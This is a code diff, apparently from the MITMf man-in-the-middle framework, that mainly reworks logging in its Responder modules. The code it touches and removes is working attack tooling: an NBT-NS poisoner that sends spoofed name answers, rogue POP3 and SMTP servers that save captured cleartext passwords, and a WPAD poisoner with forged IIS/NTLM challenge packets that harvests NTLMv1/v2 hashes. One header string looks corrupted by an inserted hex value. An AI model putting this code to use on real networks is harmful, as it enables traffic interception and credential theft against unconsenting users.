mitmf_logger.info('[NBTNSPoisoner] Fingerprint failed for host: %s'%(self.client_address[0])) log.info('Fingerprint failed for host: %s'%(self.client_address[0]))
pass pass
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()): if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
buff = NBT_Ans() buff = NBT_Ans()
buff.calculate(data) buff.calculate(data)
for x in range(1): for x in range(1):
socket.sendto(str(buff), self.client_address) socket.sendto(str(buff), self.client_address)
mitmf_logger.warning('[NBTNSPoisoner] Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name)) log.warning('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
if args.finger: if args.finger:
try: try:
Finger = RunSmbFinger((self.client_address[0],445)) Finger = RunSmbFinger((self.client_address[0],445))
mitmf_logger.info("[NBTNSPoisoner] OS: {} | ClientVersion: {}".format(Finger[0],Finger[1])) log.info("OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
except Exception: except Exception:
mitmf_logger.info('[NBTNSPoisoner] Fingerprint failed for host: %s'%(self.client_address[0])) log.info('Fingerprint failed for host: %s'%(self.client_address[0]))
pass pass
else: else:
pass pass
@ -185,26 +187,26 @@ class NB(BaseRequestHandler):
buff.calculate(data) buff.calculate(data)
for x in range(1): for x in range(1):
socket.sendto(str(buff), self.client_address) socket.sendto(str(buff), self.client_address)
mitmf_logger.warning('[NBTNSPoisoner] Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name)) log.warning('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
if args.finger: if args.finger:
try: try:
Finger = RunSmbFinger((self.client_address[0],445)) Finger = RunSmbFinger((self.client_address[0],445))
mitmf_logger.info("[NBTNSPoisoner] OS: {} | ClientVersion: {}".format(Finger[0],Finger[1])) log.info("OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
except Exception: except Exception:
mitmf_logger.info('[NBTNSPoisoner] Fingerprint failed for host: %s'%(self.client_address[0])) log.info('Fingerprint failed for host: %s'%(self.client_address[0]))
pass pass
if RespondToSpecificName(RespondToName) == False: if RespondToSpecificName(RespondToName) == False:
buff = NBT_Ans() buff = NBT_Ans()
buff.calculate(data) buff.calculate(data)
for x in range(1): for x in range(1):
socket.sendto(str(buff), self.client_address) socket.sendto(str(buff), self.client_address)
mitmf_logger.warning('[NBTNSPoisoner] Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name)) log.warning('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
if args.finger: if args.finger:
try: try:
Finger = RunSmbFinger((self.client_address[0],445)) Finger = RunSmbFinger((self.client_address[0],445))
mitmf_logger.info("[NBTNSPoisoner] OS: {} | ClientVersion: {}".format(Finger[0],Finger[1])) log.info("OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
except Exception: except Exception:
mitmf_logger.info('[NBTNSPoisoner] Fingerprint failed for host: %s'%(self.client_address[0])) log.info('Fingerprint failed for host: %s'%(self.client_address[0]))
pass pass
else: else:
pass pass

@ -5,20 +5,22 @@ from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
from core.responder.common import * from core.responder.common import *
from core.responder.odict import OrderedDict from core.responder.odict import OrderedDict
from core.responder.packet import Packet from core.responder.packet import Packet
from core.logger import logger
mitmf_logger = logging.getLogger("mitmf") formatter = logging.Formatter("%(asctime)s [POP3server] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("POP3server", formatter)
class POP3Server(): class POP3server():
def start(self): def start(self):
try: try:
mitmf_logger.debug("[POP3Server] online") log.debug("online")
server = ThreadingTCPServer(("0.0.0.0", 110), POP) server = ThreadingTCPServer(("0.0.0.0", 110), POP)
t = threading.Thread(name="POP3Server", target=server.serve_forever) t = threading.Thread(name="POP3server", target=server.serve_forever)
t.setDaemon(True) t.setDaemon(True)
t.start() t.start()
except Exception, e: except Exception as e:
mitmf_logger.error("[POP3Server] Error starting on port {}: {}".format(110, e)) log.error("Error starting on port {}: {}".format(110, e))
class ThreadingTCPServer(ThreadingMixIn, TCPServer): class ThreadingTCPServer(ThreadingMixIn, TCPServer):
@ -43,7 +45,7 @@ class POP(BaseRequestHandler):
data = self.request.recv(1024) data = self.request.recv(1024)
if data[0:4] == "USER": if data[0:4] == "USER":
User = data[5:].replace("\r\n","") User = data[5:].replace("\r\n","")
mitmf_logger.info('[+]POP3 User: %s'%(User)) log.info('POP3 User: %s'%(User))
t = POPOKPacket() t = POPOKPacket()
self.request.send(str(t)) self.request.send(str(t))
data = self.request.recv(1024) data = self.request.recv(1024)
@ -51,7 +53,7 @@ class POP(BaseRequestHandler):
Pass = data[5:].replace("\r\n","") Pass = data[5:].replace("\r\n","")
Outfile = "./logs/responder/POP3-Clear-Text-Password-"+self.client_address[0]+".txt" Outfile = "./logs/responder/POP3-Clear-Text-Password-"+self.client_address[0]+".txt"
WriteData(Outfile,User+":"+Pass, User+":"+Pass) WriteData(Outfile,User+":"+Pass, User+":"+Pass)
mitmf_logger.info("[POP3Server] POP3 Credentials from {}. User/Pass: {}:{} ".format(self.client_address[0],User,Pass)) log.info("POP3 Credentials from {}. User/Pass: {}:{} ".format(self.client_address[0],User,Pass))
t = POPOKPacket() t = POPOKPacket()
self.request.send(str(t)) self.request.send(str(t))
data = self.request.recv(1024) data = self.request.recv(1024)
@ -60,4 +62,4 @@ class POP(BaseRequestHandler):
self.request.send(str(t)) self.request.send(str(t))
data = self.request.recv(1024) data = self.request.recv(1024)
except Exception as e: except Exception as e:
mitmf_logger.error("[POP3Server] Error handling request: {}".format(e)) log.error("Error handling request: {}".format(e))

@ -5,21 +5,23 @@ from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
from base64 import b64decode from base64 import b64decode
from SMTPPackets import * from SMTPPackets import *
from core.responder.common import * from core.responder.common import *
from core.logger import logger
mitmf_logger = logging.getLogger("mitmf") formatter = logging.Formatter("%(asctime)s [SMTPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("SMTPserver", formatter)
class SMTPServer(): class SMTPserver():
def serve_thread_tcp(self, port): def serve_thread_tcp(self, port):
try: try:
server = ThreadingTCPServer(("0.0.0.0", port), ESMTP) server = ThreadingTCPServer(("0.0.0.0", port), ESMTP)
server.serve_forever() server.serve_forever()
except Exception as e: except Exception as e:
mitmf_logger.error("[SMTPServer] Error starting TCP server on port {}: {}".format(port, e)) log.error("Error starting TCP server on port {}: {}".format(port, e))
#Function name self-explanatory #Function name self-explanatory
def start(self): def start(self):
mitmf_logger.debug("[SMTPServer] online") log.debug("online")
t1 = threading.Thread(name="ESMTP-25", target=self.serve_thread_tcp, args=(25,)) t1 = threading.Thread(name="ESMTP-25", target=self.serve_thread_tcp, args=(25,))
t2 = threading.Thread(name="ESMTP-587", target=self.serve_thread_tcp, args=(587,)) t2 = threading.Thread(name="ESMTP-587", target=self.serve_thread_tcp, args=(587,))
@ -56,7 +58,7 @@ class ESMTP(BaseRequestHandler):
Outfile = "./logs/responder/SMTP-Clear-Text-Password-"+self.client_address[0]+".txt" Outfile = "./logs/responder/SMTP-Clear-Text-Password-"+self.client_address[0]+".txt"
WriteData(Outfile,Username+":"+Password, Username+":"+Password) WriteData(Outfile,Username+":"+Password, Username+":"+Password)
#print "[+]SMTP Credentials from %s. User/Pass: %s:%s "%(self.client_address[0],Username,Password) #print "[+]SMTP Credentials from %s. User/Pass: %s:%s "%(self.client_address[0],Username,Password)
mitmf_logger.info("[SMTPServer] {} SMTP User: {} Pass:{} ".format(self.client_address[0],Username,Password)) log.info("{} SMTP User: {} Pass:{} ".format(self.client_address[0],Username,Password))
except Exception as e: except Exception as e:
mitmf_logger.error("[SMTPServer] Error handling request: {}".format(e)) log.error("Error handling request: {}".format(e))

@ -1,275 +0,0 @@
#! /usr/bin/env python
# NBT-NS/LLMNR Responder
# Created by Laurent Gaffie
# Copyright (C) 2014 Trustwave Holdings, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import struct
from core.responder.packet import Packet
from core.responder.odict import OrderedDict
from base64 import b64decode,b64encode
#WPAD script. the wpadwpadwpad is shorter than 15 chars and unlikely to be found.
class WPADScript(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 200 OK\r\n"),
("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
("Type", "Content-Type: application/x-ns-proxy-autoconfig\r\n"),
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
("ContentLen", "Content-Length: "),
("ActualLen", "76"),
("CRLF", "\r\n\r\n"),
("Payload", "function FindProxyForURL(url, host){return 'PROXY wpadwpadwpad:3141; DIRECT';}"),
])
def calculate(self):
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
class ServerExeFile(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 200 OK\r\n"),
("ContentType", "Content-Type: application/octet-stream\r\n"),
("LastModified", "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"),
("AcceptRanges", "Accept-Ranges: bytes\r\n"),
("Server", "Server: Microsoft-IIS/7.5\r\n"),
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
("ContentLen", "Content-Length: "),
("ActualLen", "76"),
("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"),
("Connection", "Connection: keep-alive\r\n"),
("X-CCC", "US\r\n"),
("X-CID", "2\r\n"),
("CRLF", "\r\n"),
("Payload", "jj"),
])
def calculate(self):
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
class ServeAlwaysExeFile(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 200 OK\r\n"),
("ContentType", "Content-Type: application/octet-stream\r\n"),
("LastModified", "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"),
("AcceptRanges", "Accept-Ranges: bytes\r\n"),
("Server", "Server: Microsoft-IIS/7.5\r\n"),
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
("ContentDisp", "Content-Disposition: attachment; filename="),
("ContentDiFile", ""),
("FileCRLF", ";\r\n"),
("ContentLen", "Content-Length: "),
("ActualLen", "76"),
("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"),
("Connection", "Connection: keep-alive\r\n"),
("X-CCC", "US\r\n"),
("X-CID", "2\r\n"),
("CRLF", "\r\n"),
("Payload", "jj"),
])
def calculate(self):
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
class ServeAlwaysNormalFile(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 200 OK\r\n"),
("ContentType", "Content-Type: text/html\r\n"),
("LastModified", "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"),
("AcceptRanges", "Accept-Ranges: bytes\r\n"),
("Server", "Server: Microsoft-IIS/7.5\r\n"),
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
("ContentLen", "Content-Length: "),
("ActualLen", "76"),
("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"),
("Connection", "Connection: keep-alive\r\n"),
("X-CCC", "US\r\n"),
("X-CID", "2\r\n"),
("CRLF", "\r\n"),
("Payload", "jj"),
])
def calculate(self):
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
#HTTP Packet used for further NTLM auth.
class IIS_Auth_407_Ans(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 407 Authentication Required\r\n"),
("Via", "Via: 1.1 SMB-TOOLKIT\r\n"),
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
("Type", "Content-Type: text/html\r\n"),
("WWW-Auth", "Proxy-Authenticate: NTLM\r\n"),
("Connection", "Connection: close \r\n"),
("PConnection", "proxy-Connection: close \r\n"),
("Len", "Content-Length: 0\r\n"),
("CRLF", "\r\n"),
])
#HTTP NTLM packet.
class IIS_407_NTLM_Challenge_Ans(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 407 Authentication Required\r\n"),
("Via", "Via: 1.1 SMB-TOOLKIT\r\n"),
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
("Type", "Content-Type: text/html\r\n"),
("WWWAuth", "Proxy-Authenticate: NTLM "),
("Payload", ""),
("Payload-CRLF", "\r\n"),
("PoweredBy", "X-Powered-By: SMB-TOOLKIT\r\n"),
("Len", "Content-Length: 0\r\n"),
("CRLF", "\r\n"),
])
def calculate(self,payload):
self.fields["Payload"] = b64encode(payload)
#HTTP Basic answer packet.
class IIS_Basic_407_Ans(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 407 Unauthorized\r\n"),
("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
("Type", "Content-Type: text/html\r\n"),
("WWW-Auth", "Proxy-Authenticate: Basic realm=\"ISAServer\"\r\n"),
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
("Len", "Content-Length: 0\r\n"),
("CRLF", "\r\n"),
])
#HTTP Packet used for further NTLM auth.
class IIS_Auth_401_Ans(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 401 Unauthorized\r\n"),
("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
("Type", "Content-Type: text/html\r\n"),
("WWW-Auth", "WWW-Authenticate: NTLM\r\n"),
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
("Len", "Content-Length: 0\r\n"),
("CRLF", "\r\n"),
])
#HTTP Packet Granted auth.
class IIS_Auth_Granted(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 200 OK\r\n"),
("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
("Type", "Content-Type: text/html\r\n"),
("WWW-Auth", "WWW-Authenticate: NTLM\r\n"),
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
("ContentLen", "Content-Length: "),
("ActualLen", "76"),
("CRLF", "\r\n\r\n"),
("Payload", "<html>\n<head>\n</head>\n<body>\n<img src='file:\\\\\\\\\\\\shar\\smileyd.ico' alt='Loading' height='1' width='2'>\n</body>\n</html>\n"),
])
def calculate(self):
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
#HTTP NTLM Auth
class NTLM_Challenge(Packet):
fields = OrderedDict([
("Signature", "NTLMSSP"),
("SignatureNull", "\x00"),
("MessageType", "\x02\x00\x00\x00"),
("TargetNameLen", "\x06\x00"),
("TargetNameMaxLen", "\x06\x00"),
("TargetNameOffset", "\x38\x00\x00\x00"),
("NegoFlags", "\x05\x02\x89\xa2"),
("ServerChallenge", ""),
("Reserved", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("TargetInfoLen", "\x7e\x00"),
("TargetInfoMaxLen", "\x7e\x00"),
("TargetInfoOffset", "\x3e\x00\x00\x00"),
("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"),
("TargetNameStr", "SMB"),
("Av1", "\x02\x00"),#nbt name
("Av1Len", "\x06\x00"),
("Av1Str", "SMB"),
("Av2", "\x01\x00"),#Server name
("Av2Len", "\x14\x00"),
("Av2Str", "SMB-TOOLKIT"),
("Av3", "\x04\x00"),#Full Domain name
("Av3Len", "\x12\x00"),
("Av3Str", "smb.local"),
("Av4", "\x03\x00"),#Full machine domain name
("Av4Len", "\x28\x00"),
("Av4Str", "server2003.smb.local"),
("Av5", "\x05\x00"),#Domain Forest Name
("Av5Len", "\x12\x00"),
("Av5Str", "smb.local"),
("Av6", "\x00\x00"),#AvPairs Terminator
("Av6Len", "\x00\x00"),
])
def calculate(self):
##First convert to uni
self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le')
self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le')
self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le')
self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le')
self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le')
self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le')
##Then calculate
CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])
CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"])
CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
# Target Name Offsets
self.fields["TargetNameOffset"] = struct.pack("<i", len(CalculateNameOffset))
self.fields["TargetNameLen"] = struct.pack("<i", len(self.fields["TargetNameStr"]))[:2]
self.fields["TargetNameMaxLen"] = struct.pack("<i", len(self.fields["TargetNameStr"]))[:2]
#AvPairs Offsets
self.fields["TargetInfoOffset"] = struct.pack("<i", len(CalculateAvPairsOffset))
self.fields["TargetInfoLen"] = struct.pack("<i", len(CalculateAvPairsLen))[:2]
self.fields["TargetInfoMaxLen"] = struct.pack("<i", len(CalculateAvPairsLen))[:2]
#AvPairs StrLen
self.fields["Av1Len"] = struct.pack("<i", len(str(self.fields["Av1Str"])))[:2]
self.fields["Av2Len"] = struct.pack("<i", len(str(self.fields["Av2Str"])))[:2]
self.fields["Av3Len"] = struct.pack("<i", len(str(self.fields["Av3Str"])))[:2]
self.fields["Av4Len"] = struct.pack("<i", len(str(self.fields["Av4Str"])))[:2]
self.fields["Av5Len"] = struct.pack("<i", len(str(self.fields["Av5Str"])))[:2]
#HTTP NTLM packet.
class IIS_NTLM_Challenge_Ans(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 401 Unauthorized\r\n"),
("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
("Type", "Content-Type: text/html\r\n"),
("WWWAuth", "WWW-Authenticate: NTLM "),
("Payload", ""),
("Payload-CRLF", "\r\n"),
("PoweredBy", "X-Powered-By: ASP.NC0CD7B7802C76736E9B26FB19BEB2D36290B9FF9A46EDDA5ET\r\n"),
("Len", "Content-Length: 0\r\n"),
("CRLF", "\r\n"),
])
def calculate(self,payload):
self.fields["Payload"] = b64encode(payload)
#HTTP Basic answer packet.
class IIS_Basic_401_Ans(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 401 Unauthorized\r\n"),
("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
("Type", "Content-Type: text/html\r\n"),
("WWW-Auth", "WWW-Authenticate: Basic realm=''\r\n"),
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
("Len", "Content-Length: 0\r\n"),
("CRLF", "\r\n"),
])

@ -1,157 +0,0 @@
import socket
import threading
import logging
import re
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
from core.configwatcher import ConfigWatcher
from core.responder.common import *
from HTTPPackets import *
mitmf_logger = logging.getLogger("mitmf")
class WPADPoisoner():
def start(self, options):
global args; args = options
args.forceWpadAuth = False
args.basic = False
try:
mitmf_logger.debug("[WPADPoisoner] online")
server = ThreadingTCPServer(("0.0.0.0", 80), HTTP)
t = threading.Thread(name="HTTP", target=server.serve_forever)
t.setDaemon(True)
t.start()
except Exception, e:
mitmf_logger.error("[WPADPoisoner] Error starting on port {}: {}".format(80, e))
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
allow_reuse_address = 1
def server_bind(self):
TCPServer.server_bind(self)
#HTTP Server Class
class HTTP(BaseRequestHandler):
def handle(self):
try:
while True:
self.request.settimeout(1)
data = self.request.recv(8092)
buff = WpadCustom(data,self.client_address[0])
if buff and args.forceWpadAuth is False:
mitmf_logger.info("[WPADPoisoner] WPAD (no auth) file sent to: {}".format(self.client_address[0]))
self.request.send(buff)
else:
buffer0 = PacketSequence(data,self.client_address[0])
self.request.send(buffer0)
except Exception as e:
pass
#Parse NTLMv1/v2 hash.
def ParseHTTPHash(data,client):
LMhashLen = struct.unpack('<H',data[12:14])[0]
LMhashOffset = struct.unpack('<H',data[16:18])[0]
LMHash = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
NthashLen = struct.unpack('<H',data[20:22])[0]
NthashOffset = struct.unpack('<H',data[24:26])[0]
NTHash = data[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
if NthashLen == 24:
NtHash = data[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
HostNameLen = struct.unpack('<H',data[46:48])[0]
HostNameOffset = struct.unpack('<H',data[48:50])[0]
Hostname = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
UserLen = struct.unpack('<H',data[36:38])[0]
UserOffset = struct.unpack('<H',data[40:42])[0]
User = data[UserOffset:UserOffset+UserLen].replace('\x00','')
outfile = "./logs/responder/HTTP-NTLMv1-Client-"+client+".txt"
WriteHash = User+"::"+Hostname+":"+LMHash+":"+NtHash+":"+NumChal
WriteData(outfile,WriteHash, User+"::"+Hostname)
mitmf_logger.info('[+]HTTP NTLMv1 hash captured from :%s'%(client))
mitmf_logger.info('[+]HTTP NTLMv1 Hostname is :%s'%(Hostname))
mitmf_logger.info('[+]HTTP NTLMv1 User is :%s'%(data[UserOffset:UserOffset+UserLen].replace('\x00','')))
mitmf_logger.info('[+]HTTP NTLMv1 Complete hash is :%s'%(WriteHash))
if NthashLen > 24:
NthashLen = 64
DomainLen = struct.unpack('<H',data[28:30])[0]
DomainOffset = struct.unpack('<H',data[32:34])[0]
Domain = data[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
UserLen = struct.unpack('<H',data[36:38])[0]
UserOffset = struct.unpack('<H',data[40:42])[0]
User = data[UserOffset:UserOffset+UserLen].replace('\x00','')
HostNameLen = struct.unpack('<H',data[44:46])[0]
HostNameOffset = struct.unpack('<H',data[48:50])[0]
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
outfile = "./logs/responder/HTTP-NTLMv2-Client-"+client+".txt"
WriteHash = User+"::"+Domain+":"+NumChal+":"+NTHash[:32]+":"+NTHash[32:]
WriteData(outfile,WriteHash, User+"::"+Domain)
mitmf_logger.info('[+]HTTP NTLMv2 hash captured from :%s'%(client))
mitmf_logger.info('[+]HTTP NTLMv2 User is : %s'%(User))
mitmf_logger.info('[+]HTTP NTLMv2 Domain is :%s'%(Domain))
mitmf_logger.info('[+]HTTP NTLMv2 Hostname is :%s'%(HostName))
mitmf_logger.info('[+]HTTP NTLMv2 Complete hash is :%s'%(WriteHash))
def WpadCustom(data,client):
WPAD_Script = ConfigWatcher.getInstance().getConfig()["Responder"]['WPADScript']
Wpad = re.search('(/wpad.dat|/*\.pac)', data)
if Wpad:
buffer1 = WPADScript(Payload=WPAD_Script)
buffer1.calculate()
return str(buffer1)
else:
return False
# Function used to check if we answer with a Basic or NTLM auth.
def Basic_Ntlm(Basic):
if Basic == True:
return IIS_Basic_401_Ans()
else:
return IIS_Auth_401_Ans()
#Handle HTTP packet sequence.
def PacketSequence(data,client):
Ntlm = re.findall('(?<=Authorization: NTLM )[^\\r]*', data)
BasicAuth = re.findall('(?<=Authorization: Basic )[^\\r]*', data)
if Ntlm:
packetNtlm = b64decode(''.join(Ntlm))[8:9]
if packetNtlm == "\x01":
r = NTLM_Challenge(ServerChallenge=Challenge)
r.calculate()
t = IIS_NTLM_Challenge_Ans()
t.calculate(str(r))
buffer1 = str(t)
return buffer1
if packetNtlm == "\x03":
NTLM_Auth= b64decode(''.join(Ntlm))
ParseHTTPHash(NTLM_Auth,client)
if args.forceWpadAuth and WpadCustom(data,client):
mitmf_logger.info("[WPADPoisoner] WPAD (auth) file sent to: {}".format(client))
buffer1 = WpadCustom(data,client)
return buffer1
else:
buffer1 = IIS_Auth_Granted(Payload=HTMLToServe)
buffer1.calculate()
return str(buffer1)
if BasicAuth:
outfile = "./logs/responder/HTTP-Clear-Text-Password-"+client+".txt"
WriteData(outfile,b64decode(''.join(BasicAuth)), b64decode(''.join(BasicAuth)))
mitmf_logger.info('[+]HTTP-User & Password: %s'%(b64decode(''.join(BasicAuth))))
if args.forceWpadAuth and WpadCustom(data,client):
mitmf_logger.info("[WPADPoisoner] WPAD (auth) file sent to: {}".format(client))
buffer1 = WpadCustom(data,client)
return buffer1
else:
buffer1 = IIS_Auth_Granted(Payload=HTMLToServe)
buffer1.calculate()
return str(buffer1)
else:
return str(Basic_Ntlm(args.basic))

@ -20,8 +20,10 @@ import sys
import logging import logging
import inspect import inspect
import traceback import traceback
from core.logger import logger
log = logging.getLogger('mitmf') formatter = logging.Formatter("%(asctime)s [ProxyPlugins] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("ProxyPlugins", formatter)
class ProxyPlugins: class ProxyPlugins:
''' '''
@ -41,48 +43,45 @@ class ProxyPlugins:
vars still have to be set back in the function. This only happens vars still have to be set back in the function. This only happens
in handleResponse, but is still annoying. in handleResponse, but is still annoying.
''' '''
_instance = None
plist = []
mthdDict = {"connectionMade" : "request", mthdDict = {"connectionMade" : "request",
"handleStatus" : "responsestatus", "handleStatus" : "responsestatus",
"handleResponse" : "response", "handleResponse" : "response",
"handleHeader" : "responseheaders", "handleHeader" : "responseheaders",
"handleEndHeaders": "responseheaders"} "handleEndHeaders": "responseheaders"}
pmthds = {} plugin_mthds = {}
plugin_list = []
@staticmethod __shared_state = {}
def getInstance():
if ProxyPlugins._instance == None:
ProxyPlugins._instance = ProxyPlugins()
return ProxyPlugins._instance def __init__(self):
self.__dict__ = self.__shared_state
def setPlugins(self, plugins): def set_plugins(self, plugins):
'''Set the plugins in use''' '''Set the plugins in use'''
for p in plugins: for p in plugins:
self.addPlugin(p) self.add_plugin(p)
log.debug("[ProxyPlugins] Loaded {} plugin/s".format(len(self.plist))) log.debug("Loaded {} plugin/s".format(len(plugins)))
def addPlugin(self,p): def add_plugin(self,p):
'''Load a plugin''' '''Load a plugin'''
self.plist.append(p) self.plugin_list.append(p)
log.debug("[ProxyPlugins] Adding {} plugin".format(p.name)) log.debug("Adding {} plugin".format(p.name))
for mthd,pmthd in self.mthdDict.iteritems(): for mthd,pmthd in self.mthdDict.iteritems():
try: try:
self.pmthds[mthd].append(getattr(p,pmthd)) self.plugin_mthds[mthd].append(getattr(p,pmthd))
except KeyError: except KeyError:
self.pmthds[mthd] = [getattr(p,pmthd)] self.plugin_mthds[mthd] = [getattr(p,pmthd)]
def removePlugin(self,p): def remove_plugin(self,p):
'''Unload a plugin''' '''Unload a plugin'''
self.plist.remove(p) self.plugin_list.remove(p)
log.debug("[ProxyPlugins] Removing {} plugin".format(p.name)) log.debug("Removing {} plugin".format(p.name))
for mthd,pmthd in self.mthdDict.iteritems(): for mthd,pmthd in self.mthdDict.iteritems():
self.pmthds[mthd].remove(p) self.plugin_mthds[mthd].remove(p)
def hook(self): def hook(self):
'''Magic to hook various function calls in sslstrip''' '''Magic to hook various function calls in sslstrip'''
@ -105,17 +104,17 @@ class ProxyPlugins:
del args['self'] del args['self']
log.debug("[ProxyPlugins] hooking {}()".format(fname)) log.debug("hooking {}()".format(fname))
#calls any plugin that has this hook #calls any plugin that has this hook
try: try:
for f in self.pmthds[fname]: for f in self.plugin_mthds[fname]:
a = f(**args) a = f(**args)
if a != None: args = a if a != None: args = a
except KeyError as e: except KeyError as e:
pass pass
except Exception as e: except Exception as e:
#This is needed because errors in hooked functions won't raise an Exception + Traceback (which can be infuriating) #This is needed because errors in hooked functions won't raise an Exception + Traceback (which can be infuriating)
log.error("[ProxyPlugins] Exception occurred in hooked function") log.error("Exception occurred in hooked function")
traceback.print_exc() traceback.print_exc()
#pass our changes to the locals back down #pass our changes to the locals back down

@ -42,23 +42,26 @@ import logging
from configobj import ConfigObj from configobj import ConfigObj
from core.configwatcher import ConfigWatcher from core.configwatcher import ConfigWatcher
from core.utils import shutdown from core.utils import shutdown
from core.logger import logger
from mitmflib.dnslib import * from mitmflib.dnslib import *
from IPy import IP from IPy import IP
log = logging.getLogger('mitmf') formatter = logging.Formatter("%(asctime)s %(clientip)s [DNSChef] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("DNSChef", formatter)
# DNSHandler Mixin. The class contains generic functions to parse DNS requests and # DNSHandler Mixin. The class contains generic functions to parse DNS requests and
# calculate an appropriate response based on user parameters. # calculate an appropriate response based on user parameters.
class DNSHandler(): class DNSHandler():
def parse(self,data): def parse(self,data):
nametodns = DNSChef.getInstance().nametodns nametodns = DNSChef().nametodns
nameservers = DNSChef.getInstance().nameservers nameservers = DNSChef().nameservers
